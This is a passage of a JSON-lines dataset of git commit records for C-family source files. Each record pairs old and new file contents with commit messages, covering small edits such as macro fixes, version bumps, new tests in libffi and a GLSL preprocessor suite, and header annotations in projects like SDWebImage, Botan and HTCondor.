}\n\ntemplate<typename T>\nT* pimpl<T>::operator->() { return m.get(); }\n\ntemplate<typename T>\nconst T* pimpl<T>::operator->() const { return m.get(); }\n\ntemplate<typename T>\nT& pimpl<T>::operator*() { return *m.get(); }\n\n#endif\n","subject":"Use make_unique in pimpl helper","message":"Use make_unique in pimpl helper\n","lang":"C","license":"mit","repos":"adolby\/Kryvos,adolby\/Kryvos,adolby\/Kryvos"}
{"commit":"61f591fe949c76b918ae3342ae8d87b2bd5ce072","old_file":"DDMathParser\/DDMathParserMacros.h","new_file":"DDMathParser\/DDMathParserMacros.h","old_contents":"\/\/\n\/\/  DDMathParserMacros.h\n\/\/  DDMathParser\n\/\/\n\/\/  Created by Dave DeLong on 2\/19\/11.\n\/\/  Copyright 2011 __MyCompanyName__. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n#import \"DDTypes.h\"\n\n#ifndef ERR_ASSERT\n#define ERR_ASSERT(_e) NSAssert((_e) != nil, @\"NULL out error\")\n#endif\n\n#ifndef ERR\n#define DD_ERR(_c,_f,...) [NSError errorWithDomain:DDMathParserErrorDomain code:(_c) userInfo:@{ NSLocalizedDescriptionKey: [NSString stringWithFormat:(_f), ##__VA_ARGS__]}]\n#endif\n\n#define DDMathParserDeprecated(_r) __attribute__((deprecated(_r)))\n","new_contents":"\/\/\n\/\/  DDMathParserMacros.h\n\/\/  DDMathParser\n\/\/\n\/\/  Created by Dave DeLong on 2\/19\/11.\n\/\/  Copyright 2011 __MyCompanyName__. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n#import \"DDTypes.h\"\n\n#ifndef ERR_ASSERT\n#define ERR_ASSERT(_e) NSAssert((_e) != nil, @\"NULL out error\")\n#endif\n\n#ifndef DD_ERR\n#define DD_ERR(_c,_f,...) [NSError errorWithDomain:DDMathParserErrorDomain code:(_c) userInfo:@{ NSLocalizedDescriptionKey: [NSString stringWithFormat:(_f), ##__VA_ARGS__]}]\n#endif\n\n#define DDMathParserDeprecated(_r) __attribute__((deprecated(_r)))\n","subject":"Correct conditional on DD_ERR macro","message":"Correct conditional on DD_ERR macro\n","lang":"C","license":"mit","repos":"mrackwitz\/DDMathParser,carabina\/DDMathParser,davedelong\/DDMathParser,carabina\/DDMathParser,mrackwitz\/DDMathParser,davedelong\/DDMathParser"}
{"commit":"b48d845e623ac1c3e470a91dec2dac88b0c57578","old_file":"lib\/msun\/src\/w_cabsl.c","new_file":"lib\/msun\/src\/w_cabsl.c","old_contents":"","new_contents":"\/*\n * cabs() wrapper for hypot().\n *\n * Written by J.T. Conklin, <jtc@wimsey.com>\n * Placed into the Public Domain, 1994.\n *\n * Modified by Steven G. Kargl for the long double type.\n *\/\n\n#include <sys\/cdefs.h>\n__FBSDID(\"$FreeBSD$\");\n\n#include <complex.h>\n#include <math.h>\n\nlong double\ncabsl(long double complex z)\n{\n\treturn hypotl(creall(z), cimagl(z));\n}\n","subject":"Implement cabsl() in terms of hypotl().","message":"Implement cabsl() in terms of hypotl().\n\nSubmitted by:\tSteve Kargl <sgk@troutmask.apl.washington.edu>\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"53c0296d81d591bc0544cd6fad5472928224abcc","old_file":"test\/wasm\/soft\/lshrti3.c","new_file":"test\/wasm\/soft\/lshrti3.c","old_contents":"","new_contents":"\/* This file is part of Metallic, a runtime library for WebAssembly.\n *\n * Copyright (C) 2018 Chen-Pang He <chen.pang.he@jdh8.org>\n *\n * This Source Code Form is subject to the terms of the Mozilla\n * Public License v. 2.0. If a copy of the MPL was not distributed\n * with this file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/\n *\/\n#include \"..\/assert.h\"\n\nstatic void run(unsigned __int128 x)\n{\n    unsigned __int128 y = x;\n\n    for (int shift = 0; shift < 128; ++shift) {\n        metallic_assert(x >> shift == y);\n        y >>= 1;\n    }\n}\n\nint main(void)\n{\n    for (unsigned __int128 x = 1; x; x *= 2)\n        run(x);\n\n    for (unsigned __int128 x = 1; x >> 104 != 0x313370; x *= 3)\n        run(x);\n}\n\n","subject":"Test unsigned __int128 right shift","message":"Test unsigned __int128 right shift\n","lang":"C","license":"mit","repos":"jdh8\/metallic,jdh8\/metallic,jdh8\/metallic,jdh8\/metallic,jdh8\/metallic"}
{"commit":"734b14cd1de225a5cdf82ef14c1cd697fbc01b6d","old_file":"src\/condor_ckpt\/condor_syscalls.h","new_file":"src\/condor_ckpt\/condor_syscalls.h","old_contents":"#ifndef _CONDOR_SYSCALLS_H\n#define _CONDOR_SYSCALLS_H\n\n#if defined( AIX32)\n#\tinclude \"syscall.aix32.h\"\n#else\n#\tinclude <syscall.h>\n#endif\n\n\ntypedef int BOOL;\n\nstatic const int \tSYS_LOCAL = 1;\nstatic const int \tSYS_REMOTE = 0;\nstatic const int\tSYS_RECORDED = 2;\nstatic const int\tSYS_MAPPED = 2;\n\nstatic const int\tSYS_UNRECORDED = 0;\nstatic const int\tSYS_UNMAPPED = 0;\n\n#if defined(__cplusplus)\nextern \"C\" {\n#endif\n\nint SetSyscalls( int mode );\nBOOL LocalSysCalls();\nBOOL RemoteSysCalls();\nBOOL MappingFileDescriptors();\nint REMOTE_syscall( int syscall_num, ... );\n\n#if 0\n#if defined(AIX32) && defined(__cplusplus)\n\tint syscall( ... );\n#elif defined(ULTRIX42) && defined(__cplusplus)\n\tint syscall( ... );\n#else\n\tint syscall( int, ... );\n#endif\n#endif\n\n#if defined(OSF1)\n\tint syscall( int, ... );\n#endif\n\n\n#if defined(__cplusplus)\n}\n#endif\n\n#endif\n","new_contents":"#ifndef _CONDOR_SYSCALLS_H\n#define _CONDOR_SYSCALLS_H\n\n#if defined( AIX32)\n#\tinclude \"syscall.aix32.h\"\n#else\n#\tinclude <syscall.h>\n#endif\n\n\ntypedef int BOOL;\n\nstatic const int \tSYS_LOCAL = 1;\nstatic const int \tSYS_REMOTE = 0;\nstatic const int\tSYS_RECORDED = 2;\nstatic const int\tSYS_MAPPED = 2;\n\nstatic const int\tSYS_UNRECORDED = 0;\nstatic const int\tSYS_UNMAPPED = 0;\n\n#if defined(__cplusplus)\nextern \"C\" {\n#endif\n\nint SetSyscalls( int mode );\nBOOL LocalSysCalls();\nBOOL RemoteSysCalls();\nBOOL MappingFileDescriptors();\nint REMOTE_syscall( int syscall_num, ... );\n\n#if defined(OSF1) || defined(HPUX9)\n\tint syscall( int, ... );\n#endif\n\n\n#if defined(__cplusplus)\n}\n#endif\n\n#endif\n","subject":"Set up syscall() prototype for HP-UX 9 machines.","message":"Set up syscall() prototype for HP-UX 9 machines.\n","lang":"C","license":"apache-2.0","repos":"bbockelm\/condor-network-accounting,mambelli\/osg-bosco-marco,djw8605\/condor,htcondor\/htcondor,neurodebian\/htcondor,bbockelm\/condor-network-accounting,mambelli\/osg-bosco-marco,djw8605\/condor,neurodebian\/htcondor,bbockelm\/condor-network-accounting,htcondor\/htcondor,mambelli\/osg-bosco-marco,zhangzhehust\/htcondor,htcondor\/htcondor,neurodebian\/htcondor,bbockelm\/condor-network-accounting,mambelli\/osg-bosco-marco,clalancette\/condor-dcloud,htcondor\/htcondor,htcondor\/htcondor,djw8605\/htcondor,djw8605\/condor,zhangzhehust\/htcondor,zhangzhehust\/htcondor,bbockelm\/condor-network-accounting,djw8605\/condor,neurodebian\/htcondor,neurodebian\/htcondor,mambelli\/osg-bosco-marco,djw8605\/condor,djw8605\/htcondor,clalancette\/condor-dcloud,zhangzhehust\/htcondor,htcondor\/htcondor,neurodebian\/htcondor,djw8605\/htcondor,mambelli\/osg-bosco-marco,djw8605\/htcondor,clalancette\/condor-dcloud,htcondor\/htcondor,clalancette\/condor-dcloud,djw8605\/condor,neurodebian\/htcondor,clalancette\/condor-dcloud,djw8605\/condor,neurodebian\/htcondor,djw8605\/condor,clalancette\/condor-dcloud,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,zhangzhehust\/htcondor,htcondor\/htcondor,zhangzhehust\/htcondor,djw8605\/htcondor,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,zhangzhehust\/htcondor,djw8605\/htcondor,djw8605\/htcondor,bbockelm\/condor-network-accounting,djw8605\/htcondor,neurodebian\/htcondor,clalancette\/condor-dcloud,djw8605\/htcondor,zhangzhehust\/htcondor,zhangzhehust\/htcondor"}
{"commit":"6f6f54e6c55154ae69e8d835ff2eba1ba590b2d4","old_file":"SDWebImage\/NSData+ImageContentType.h","new_file":"SDWebImage\/NSData+ImageContentType.h","old_contents":"\/*\n * This file is part of the SDWebImage package.\n * (c) Olivier Poitrey <rs@dailymotion.com>\n * (c) Fabrice Aneche\n *\n * For the full copyright and license information, please view the LICENSE\n * file that was distributed with this source code.\n *\/\n\n#import <Foundation\/Foundation.h>\n#import \"SDWebImageCompat.h\"\n\ntypedef NS_ENUM(NSInteger, SDImageFormat) {\n    SDImageFormatUndefined = -1,\n    SDImageFormatJPEG = 0,\n    SDImageFormatPNG,\n    SDImageFormatGIF,\n    SDImageFormatTIFF,\n    SDImageFormatWebP,\n    SDImageFormatHEIC\n};\n\n@interface NSData (ImageContentType)\n\n\/**\n *  Return image format\n *\n *  @param data the input image data\n *\n *  @return the image format as `SDImageFormat` (enum)\n *\/\n+ (SDImageFormat)sd_imageFormatForImageData:(nullable NSData *)data;\n\n\/**\n Convert SDImageFormat to UTType\n\n @param format Format as SDImageFormat\n @return The UTType as CFStringRef\n *\/\n+ (nonnull CFStringRef)sd_UTTypeFromSDImageFormat:(SDImageFormat)format;\n\n@end\n","new_contents":"\/*\n * This file is part of the SDWebImage package.\n * (c) Olivier Poitrey <rs@dailymotion.com>\n * (c) Fabrice Aneche\n *\n * For the full copyright and license information, please view the LICENSE\n * file that was distributed with this source code.\n *\/\n\n#import <Foundation\/Foundation.h>\n#import \"SDWebImageCompat.h\"\n\ntypedef NS_ENUM(NSInteger, SDImageFormat) {\n    SDImageFormatUndefined = -1,\n    SDImageFormatJPEG = 0,\n    SDImageFormatPNG,\n    SDImageFormatGIF,\n    SDImageFormatTIFF,\n    SDImageFormatWebP,\n    SDImageFormatHEIC\n};\n\n@interface NSData (ImageContentType)\n\n\/**\n *  Return image format\n *\n *  @param data the input image data\n *\n *  @return the image format as `SDImageFormat` (enum)\n *\/\n+ (SDImageFormat)sd_imageFormatForImageData:(nullable NSData *)data;\n\n\/**\n Convert SDImageFormat to UTType\n\n @param format Format as SDImageFormat\n @return The UTType as CFStringRef\n *\/\n+ (nonnull CFStringRef)sd_UTTypeFromSDImageFormat:(SDImageFormat)format CF_RETURNS_NOT_RETAINED;\n\n@end\n","subject":"Mark one function which return value should follow the GET rule","message":"Mark one function which return value should follow the GET rule\n","lang":"C","license":"mit","repos":"zhang-yawei\/SDWebImage,awkward\/SDWebImage,dreampiggy\/SDWebImage,dreampiggy\/SDWebImage,awkward\/SDWebImage,dreampiggy\/SDWebImage,tualatrix\/SDWebImage,rs\/SDWebImage,awkward\/SDWebImage"}
{"commit":"dc6b3f5ae020c950e12a97ef4e3baca21e027e08","old_file":"slof\/OF.h","new_file":"slof\/OF.h","old_contents":"","new_contents":"\/******************************************************************************\n * Copyright (c) 2020 IBM Corporation\n * All rights reserved.\n * This program and the accompanying materials\n * are made available under the terms of the BSD License\n * which accompanies this distribution, and is available at\n * http:\/\/www.opensource.org\/licenses\/bsd-license.php\n *\n * Contributors:\n *     IBM Corporation - initial implementation\n *****************************************************************************\/\n\n#ifndef _SLOF_OF_H\n#define _SLOF_OF_H\n\n\/* from OF.lds *\/\nextern long _slof_text;\nextern long _slof_text_end;\n\n#endif\n","subject":"Make linker script variables accessible","message":"slof: Make linker script variables accessible\n\nMake linker script variables related to 'text' addresses available\nto the code so we can measure the static core root of trust contents.\n\nWhen hashing the 'data' part of SLOF we do not end up with the same\nmeasurements for the same firmware when booting with different\nconfigurations, so we don't make those available.\n\nSigned-off-by: Stefan Berger <5c96973112e540fb909b13997fcd087e5bfbee96@linux.ibm.com>\nSigned-off-by: Alexey Kardashevskiy <ac1fc56530d7d037e1ea666f130daca22d72f964@ozlabs.ru>\n","lang":"C","license":"bsd-3-clause","repos":"stefanberger\/SLOF-tpm,qemu\/SLOF,aik\/SLOF,aik\/SLOF,stefanberger\/SLOF-tpm,qemu\/SLOF,aik\/SLOF,qemu\/SLOF,stefanberger\/SLOF-tpm"}
{"commit":"4eb2ccf261f739ad9b91455f28c1dece573a30d6","old_file":"tests\/023-define-extra-whitespace.c","new_file":"tests\/023-define-extra-whitespace.c","old_contents":"","new_contents":"#define noargs() 1 \n# define onearg(foo) foo \n # define  twoargs( x , y ) x y \n\t#\tdefine\tthreeargs(\ta\t,\tb\t,\tc\t) a b c \nnoargs ( ) \n onearg ( 2 ) \n\ttwoargs ( 3 , 4 ) \nthreeargs ( 5 , 6 , 7 ) \n","subject":"Add test with extra whitespace in macro defintions and invocations.","message":"Add test with extra whitespace in macro defintions and invocations.\n\nThis whitespace is not dealt with in an elegant way yet so this test\ndoes not pass currently.\n","lang":"C","license":"mit","repos":"adobe\/glsl2agal,adobe\/glsl2agal,adobe\/glsl2agal,wolf96\/glsl-optimizer,zeux\/glsl-optimizer,mapbox\/glsl-optimizer,wolf96\/glsl-optimizer,KTXSoftware\/glsl2agal,mapbox\/glsl-optimizer,mapbox\/glsl-optimizer,mcanthony\/glsl-optimizer,jbarczak\/glsl-optimizer,metora\/MesaGLSLCompiler,tokyovigilante\/glsl-optimizer,tokyovigilante\/glsl-optimizer,djreep81\/glsl-optimizer,benaadams\/glsl-optimizer,benaadams\/glsl-optimizer,zeux\/glsl-optimizer,djreep81\/glsl-optimizer,metora\/MesaGLSLCompiler,zz85\/glsl-optimizer,benaadams\/glsl-optimizer,bkaradzic\/glsl-optimizer,zeux\/glsl-optimizer,mcanthony\/glsl-optimizer,mcanthony\/glsl-optimizer,benaadams\/glsl-optimizer,djreep81\/glsl-optimizer,djreep81\/glsl-optimizer,djreep81\/glsl-optimizer,dellis1972\/glsl-optimizer,benaadams\/glsl-optimizer,KTXSoftware\/glsl2agal,bkaradzic\/glsl-optimizer,zz85\/glsl-optimizer,dellis1972\/glsl-optimizer,mapbox\/glsl-optimizer,KTXSoftware\/glsl2agal,KTXSoftware\/glsl2agal,zz85\/glsl-optimizer,wolf96\/glsl-optimizer,zeux\/glsl-optimizer,zz85\/glsl-optimizer,jbarczak\/glsl-optimizer,dellis1972\/glsl-optimizer,wolf96\/glsl-optimizer,benaadams\/glsl-optimizer,tokyovigilante\/glsl-optimizer,KTXSoftware\/glsl2agal,wolf96\/glsl-optimizer,mcanthony\/glsl-optimizer,dellis1972\/glsl-optimizer,zeux\/glsl-optimizer,mapbox\/glsl-optimizer,bkaradzic\/glsl-optimizer,jbarczak\/glsl-optimizer,jbarczak\/glsl-optimizer,dellis1972\/glsl-optimizer,adobe\/glsl2agal,zz85\/glsl-optimizer,bkaradzic\/glsl-optimizer,bkaradzic\/glsl-optimizer,zz85\/glsl-optimizer,mcanthony\/glsl-optimizer,tokyovigilante\/glsl-optimizer,tokyovigilante\/glsl-optimizer,metora\/MesaGLSLCompiler,jbarczak\/glsl-optimizer,adobe\/glsl2agal"}
{"commit":"56599de34fd91581d03bee6106b45f52591c15f6","old_file":"testsuite\/libffi.call\/va_pointer.c","new_file":"testsuite\/libffi.call\/va_pointer.c","old_contents":"","new_contents":"\/* Area:\t\tffi_call\n   Purpose:\t\tTest passing pointers in variable argument lists.\n   Limitations:\tnone.\n   PR:\t\t\tnone.\n   Originator:\t        www.frida.re *\/\n\n\/* { dg-do run } *\/\n\n#include \"ffitest.h\"\n#include <stdarg.h>\n\ntypedef void * T;\n\nstatic T\ntest_fn (T a, T b, ...)\n{\n  va_list ap;\n  T c;\n\n  va_start (ap, b);\n  c = va_arg (ap, T);\n  printf (\"%p %p %p\\n\", a, b, c);\n  va_end (ap);\n\n  return a + 1;\n}\n\nint\nmain (void)\n{\n  ffi_cif cif;\n  ffi_type* arg_types[3];\n  T a, b, c;\n  T args[3];\n  ffi_arg res;\n\n  arg_types[0] = &ffi_type_pointer;\n  arg_types[1] = &ffi_type_pointer;\n  arg_types[2] = &ffi_type_pointer;\n\n  CHECK(ffi_prep_cif_var (&cif, FFI_DEFAULT_ABI, 2, 3, &ffi_type_pointer, arg_types) == FFI_OK);\n\n  a = (T)0x11223344;\n  b = (T)0x55667788;\n  c = (T)0xAABBCCDD;\n  args[0] = &a;\n  args[1] = &b;\n  args[2] = &c;\n\n  ffi_call (&cif, FFI_FN (test_fn), &res, args);\n  \/* { dg-output \"0x11223344 0x55667788 0xAABBCCDD\" } *\/\n  printf(\"res: %p\\n\", (T)res);\n  \/* { dg-output \"\\nres: 0x11223345\" } *\/\n\n  return 0;\n}\n","subject":"Add test for variadic invocation with pointers","message":"Add test for variadic invocation with pointers\n","lang":"C","license":"mit","repos":"s1341\/libffi,s1341\/libffi,s1341\/libffi,s1341\/libffi"}
{"commit":"d131cc1413550bbc489a0b42b32bc381575fd0a6","old_file":"include\/PhysicsLX56.h","new_file":"include\/PhysicsLX56.h","old_contents":"\/*\n\tOpenLieroX\n\t\n\tphysic simulation interface\n\t\n\tcode under LGPL\n\tcreated on 9\/2\/2008\n*\/\n\n#ifndef __PHYSICSLX56_H__\n#define __PHYSICSLX56_H__\n\n#include \"Physics.h\"\n\nPhysicsEngine* CreatePhysicsEngineLX56();\n\n#define\tLX56PhysicsFixedFPS\t100\n#define\tLX56PhysicsDT\tTimeDiff(1000 \/ LX56PhysicsFixedFPS)\n\n#endif\n","new_contents":"\/*\n\tOpenLieroX\n\t\n\tphysic simulation interface\n\t\n\tcode under LGPL\n\tcreated on 9\/2\/2008\n*\/\n\n#ifndef __PHYSICSLX56_H__\n#define __PHYSICSLX56_H__\n\n#include \"Physics.h\"\n\nPhysicsEngine* CreatePhysicsEngineLX56();\n\n#define\tLX56PhysicsFixedFPS\t84\n#define\tLX56PhysicsDT\tTimeDiff(1000 \/ LX56PhysicsFixedFPS)\n\n#endif\n","subject":"Put physics FPS to 84 - that's the common value in LX .56. So far it seems it behaves exactly like old LX, needs still testing though.","message":"Put physics FPS to 84 - that's the common value in LX .56. So far it seems it behaves exactly like old LX, needs still testing though.\n\ngit-svn-id: 0634bf30b6d7a21f2003d4a9f34c102a3ffa6fda@4471 34602234-ff1f-0410-a465-ea8f3b77ab7f\n","lang":"C","license":"lgpl-2.1","repos":"ProfessorKaos64\/openlierox,ProfessorKaos64\/openlierox,ProfessorKaos64\/openlierox,ProfessorKaos64\/openlierox,ProfessorKaos64\/openlierox,ProfessorKaos64\/openlierox,ProfessorKaos64\/openlierox"}
{"commit":"82a1df8942be8551ab365db20e35ca6a2b7e0d85","old_file":"include\/sha1prng.h","new_file":"include\/sha1prng.h","old_contents":"\/*************************************************\n* SHA1PRNG RNG Header File                       *\n* (C) 2007 FlexSecure GmbH \/ Manuel Hartl        *\n* (C) 2008 Jack Lloyd                            *\n*************************************************\/\n\n#ifndef BOTAN_SHA1PRNG_H__\n#define BOTAN_SHA1PRNG_H__\n\n#include <botan\/rng.h>\n#include <botan\/base.h>\n\nnamespace Botan {\n\n\/*************************************************\n* SHA1PRNG                                       *\n*************************************************\/\nclass SHA1PRNG : public RandomNumberGenerator\n   {\n   public:\n      void randomize(byte[], u32bit) throw(PRNG_Unseeded);\n      bool is_seeded() const;\n      void clear() throw();\n      std::string name() const;\n\n      SHA1PRNG(RandomNumberGenerator* = 0);\n      ~SHA1PRNG();\n   private:\n      void add_randomness(const byte[], u32bit);\n      void update_state(byte[]);\n\n      RandomNumberGenerator* prng;\n      HashFunction* hash;\n      SecureVector<byte> buffer;\n      SecureVector<byte> state;\n      int buf_pos;\n   };\n\n}\n\n#endif\n","new_contents":"\/*************************************************\n* SHA1PRNG RNG Header File                       *\n* (C) 2007 FlexSecure GmbH \/ Manuel Hartl        *\n* (C) 2008 Jack Lloyd                            *\n*************************************************\/\n\n#ifndef BOTAN_SHA1PRNG_H__\n#define BOTAN_SHA1PRNG_H__\n\n#include <botan\/rng.h>\n#include <botan\/base.h>\n\nnamespace Botan {\n\n\/*************************************************\n* SHA1PRNG                                       *\n*************************************************\/\nclass BOTAN_DLL SHA1PRNG : public RandomNumberGenerator\n   {\n   public:\n      void randomize(byte[], u32bit) throw(PRNG_Unseeded);\n      bool is_seeded() const;\n      void clear() throw();\n      std::string name() const;\n\n      SHA1PRNG(RandomNumberGenerator* = 0);\n      ~SHA1PRNG();\n   private:\n      void add_randomness(const byte[], u32bit);\n      void update_state(byte[]);\n\n      RandomNumberGenerator* prng;\n      HashFunction* hash;\n      SecureVector<byte> buffer;\n      SecureVector<byte> state;\n      int buf_pos;\n   };\n\n}\n\n#endif\n","subject":"Add missing BOTAN_DLL decl to SHA1PRNG class declaration","message":"Add missing BOTAN_DLL decl to SHA1PRNG class declaration\n","lang":"C","license":"bsd-2-clause","repos":"webmaster128\/botan,Rohde-Schwarz-Cybersecurity\/botan,randombit\/botan,Rohde-Schwarz-Cybersecurity\/botan,Rohde-Schwarz-Cybersecurity\/botan,webmaster128\/botan,Rohde-Schwarz-Cybersecurity\/botan,webmaster128\/botan,randombit\/botan,Rohde-Schwarz-Cybersecurity\/botan,randombit\/botan,webmaster128\/botan,Rohde-Schwarz-Cybersecurity\/botan,randombit\/botan,webmaster128\/botan,randombit\/botan"}
{"commit":"e9f9848a4f93f2114ceb770f22c481ccd76de64e","old_file":"ObjectivePGP\/PGPPublicKeyPacket.h","new_file":"ObjectivePGP\/PGPPublicKeyPacket.h","old_contents":"\/\/\n\/\/  OpenPGPPublicKey.h\n\/\/  ObjectivePGP\n\/\/\n\/\/  Created by Marcin Krzyzanowski on 04\/05\/14.\n\/\/  Copyright (c) 2014 Marcin Krzyżanowski. All rights reserved.\n\/\/\n\/\/  Tag 6\n\n#import <Foundation\/Foundation.h>\n#import \"PGPTypes.h\"\n#import \"PGPPacketFactory.h\"\n#import \"PGPKeyID.h\"\n#import \"PGPFingerprint.h\"\n\n@class PGPMPI;\n\n@interface PGPPublicKeyPacket : PGPPacket <NSCopying>\n\n@property (assign, readonly) UInt8 version;\n@property (assign, readonly) NSDate *createDate;\n@property (assign, readonly) UInt16 V3validityPeriod; \/\/ obsolete\n@property (assign, readonly) PGPPublicKeyAlgorithm publicKeyAlgorithm;\n@property (strong, readwrite) NSArray *publicMPIArray;\n\n@property (assign, readonly) NSUInteger keySize;\n\n@property (strong, nonatomic, readonly) PGPFingerprint *fingerprint;\n@property (strong, nonatomic, readonly) PGPKeyID *keyID;\n\n- (NSData *) exportPacket:(NSError *__autoreleasing*)error;\n- (NSData *) exportPublicPacketOldStyle;\n\n- (NSData *) buildPublicKeyBodyData:(BOOL)forceV4;\n\n- (PGPMPI *) publicMPI:(NSString *)identifier;\n- (NSData *) encryptData:(NSData *)data withPublicKeyAlgorithm:(PGPPublicKeyAlgorithm)publicKeyAlgorithm;\n\n@end\n","new_contents":"\/\/\n\/\/  OpenPGPPublicKey.h\n\/\/  ObjectivePGP\n\/\/\n\/\/  Created by Marcin Krzyzanowski on 04\/05\/14.\n\/\/  Copyright (c) 2014 Marcin Krzyżanowski. All rights reserved.\n\/\/\n\/\/  Tag 6\n\n#import <Foundation\/Foundation.h>\n#import \"PGPTypes.h\"\n#import \"PGPPacketFactory.h\"\n#import \"PGPKeyID.h\"\n#import \"PGPFingerprint.h\"\n\n@class PGPMPI;\n\n@interface PGPPublicKeyPacket : PGPPacket <NSCopying>\n\n@property (assign, readonly) UInt8 version;\n@property (strong, readonly) NSDate* createDate;\n@property (assign, readonly) UInt16 V3validityPeriod; \/\/ obsolete\n@property (assign, readonly) PGPPublicKeyAlgorithm publicKeyAlgorithm;\n@property (strong, readwrite) NSArray* publicMPIArray;\n\n@property (assign, readonly) NSUInteger keySize;\n\n@property (strong, nonatomic, readonly) PGPFingerprint* fingerprint;\n@property (strong, nonatomic, readonly) PGPKeyID* keyID;\n\n- (NSData*)exportPacket:(NSError* __autoreleasing*)error;\n- (NSData*)exportPublicPacketOldStyle;\n\n- (NSData*)buildPublicKeyBodyData:(BOOL)forceV4;\n\n- (PGPMPI*)publicMPI:(NSString*)identifier;\n- (NSData*)encryptData:(NSData*)data withPublicKeyAlgorithm:(PGPPublicKeyAlgorithm)publicKeyAlgorithm;\n\n@end\n","subject":"Fix NSDate property management attribute assign->strong","message":"Fix NSDate property management attribute assign->strong\n","lang":"C","license":"bsd-2-clause","repos":"alexkunitsa\/ObjectivePGP,1and1\/ObjectivePGP"}
{"commit":"a748dcc2b1d0723d229e13c97e8e3b0602eda593","old_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","new_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","old_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2010 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.02.00-k7\"\n","new_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2010 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.02.00-k8\"\n","subject":"Update driver version to 5.02.00-k8","message":"[SCSI] qla4xxx: Update driver version to 5.02.00-k8\n\nSigned-off-by: Vikas Chaudhary <c251871a64d7d31888eace0406cb3d4c419d5f73@qlogic.com>\nReviewed-by: Mike Christie <6fe105eefab41990d7ec714c6c25ade3095cdb48@cs.wisc.edu>\nSigned-off-by: James Bottomley <1acebbdca565c7b6b638bdc23b58b5610d1a56b8@Parallels.com>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"88397c279d6d113ef67be254bc145d198e733844","old_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","new_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","old_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2013 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.04.00-k1\"\n","new_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2013 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.04.00-k2\"\n","subject":"Update driver version to 5.04.00-k2","message":"[SCSI] qla4xxx: Update driver version to 5.04.00-k2\n\nSigned-off-by: Adheer Chandravanshi <7890d7472d5d21859aa8c530110140678588acf6@qlogic.com>\nSigned-off-by: Vikas Chaudhary <c251871a64d7d31888eace0406cb3d4c419d5f73@qlogic.com>\nSigned-off-by: James Bottomley <1acebbdca565c7b6b638bdc23b58b5610d1a56b8@Parallels.com>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"892b1603154e1b8271016cb2920ac098c091df7d","old_file":"la-log.h","new_file":"la-log.h","old_contents":"#ifndef _LA_LOG_H\n#define _LA_LOG_H\n\n#include <stdarg.h>\n#include <stdint.h>\n#include <stdio.h>\n#ifndef _WIN32\n#include <syslog.h>\n#else\n#define LOG_INFO 1\n#define LOG_ERR 2\n#define LOG_CRIT 3\n#endif\n#include <time.h>\n\nvoid la_log_syslog_open();\nvoid la_log(int priority, const char *format, ...);\nvoid la_log_unsuppress();\n\nclass LALog {\npublic:\n    LALog() :\n        _time_period_start(time(NULL))\n    { }\n    void syslog_open();\n    \n    void log(int priority, const char *format, ...);\n    void log_ap(int priority, const char *format, va_list ap);\n\n    void unsupress();\n    bool should_suppress();\n    bool suppressing() {return _suppressing; }\n    \nprivate:\n    \/\/ really rough rate limiting for log messages.  We could keep a\n    \/\/ hash here of formats and selectively supress based on format.\n    bool _suppressing = false;\n    const uint8_t _time_period = 5; \/\/ seconds\n    const uint8_t _max_messages_per_time_period = 10;\n    uint32_t _suppressed_message_count = 0;\n    uint8_t _message_count_this_time_period = 0;\n    time_t _time_period_start;\n\n    bool use_syslog = false;\n};\n\n#endif\n","new_contents":"#ifndef _LA_LOG_H\n#define _LA_LOG_H\n\n#include <stdarg.h>\n#include <stdint.h>\n#include <stdio.h>\n#ifndef _WIN32\n#include <syslog.h>\n#else\n#define LOG_DEBUG 0\n#define LOG_INFO 1\n#define LOG_ERR 2\n#define LOG_CRIT 3\n#endif\n#include <time.h>\n\nvoid la_log_syslog_open();\nvoid la_log(int priority, const char *format, ...);\nvoid la_log_unsuppress();\n\nclass LALog {\npublic:\n    LALog() :\n        _time_period_start(time(NULL))\n    { }\n    void syslog_open();\n    \n    void log(int priority, const char *format, ...);\n    void log_ap(int priority, const char *format, va_list ap);\n\n    void unsupress();\n    bool should_suppress();\n    bool suppressing() {return _suppressing; }\n    \nprivate:\n    \/\/ really rough rate limiting for log messages.  We could keep a\n    \/\/ hash here of formats and selectively supress based on format.\n    bool _suppressing = false;\n    const uint8_t _time_period = 